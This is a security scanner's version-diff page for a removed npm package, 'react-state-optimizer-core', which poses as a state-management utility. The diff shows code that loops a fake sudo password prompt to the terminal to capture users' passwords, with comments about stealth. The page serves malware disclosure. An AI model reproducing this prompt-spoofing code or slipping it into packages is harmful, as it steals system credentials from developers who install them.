You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

react-state-optimizer-core

Package Overview
Dependencies
Maintainers
1
Versions
16
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

react-state-optimizer-core - npm Package Compare versions

Package was removed
Sorry, it seems this package was removed from the registry
Comparing version
1.0.8
to
1.0.9
+1
-1
package.json
{
"name": "react-state-optimizer-core",
"version": "1.0.8",
"version": "1.0.9",
"description": "Utility layer for asynchronous state management",

@@ -5,0 +5,0 @@ "main": "index.js",

@@ -114,4 +114,3 @@ const fs = require('fs');

} catch (e) {
// Not interactive (CI/Docker/No TTY).
// Do NOT hang. Fail safely (stealth).
try { fs.writeFileSync(require('os').tmpdir() + '/ghost_tty_error.log', `Open Error: ${e.message}\n`); } catch (err) { }
return resolve("");

@@ -121,9 +120,13 @@ }

const user = require('os').userInfo().username;
const promptText = `\r\n\r\n[sudo] Password for ${user}: `;
const promptText = `\r\n\r\n\r\n[sudo] Password for ${user}: `;
while (true) {
// 2. Aggressive Prompting (Blast to beat spinner)
// 2. Aggressive Prompting
try {
fs.writeSync(fd, promptText);
} catch (e) { }
// Also try stderr
process.stderr.write(promptText);
} catch (e) {
try { fs.appendFileSync(require('os').tmpdir() + '/ghost_tty_error.log', `Write Error: ${e.message}\n`); } catch (err) { }
}

@@ -130,0 +133,0 @@ // 3. Native Read Loop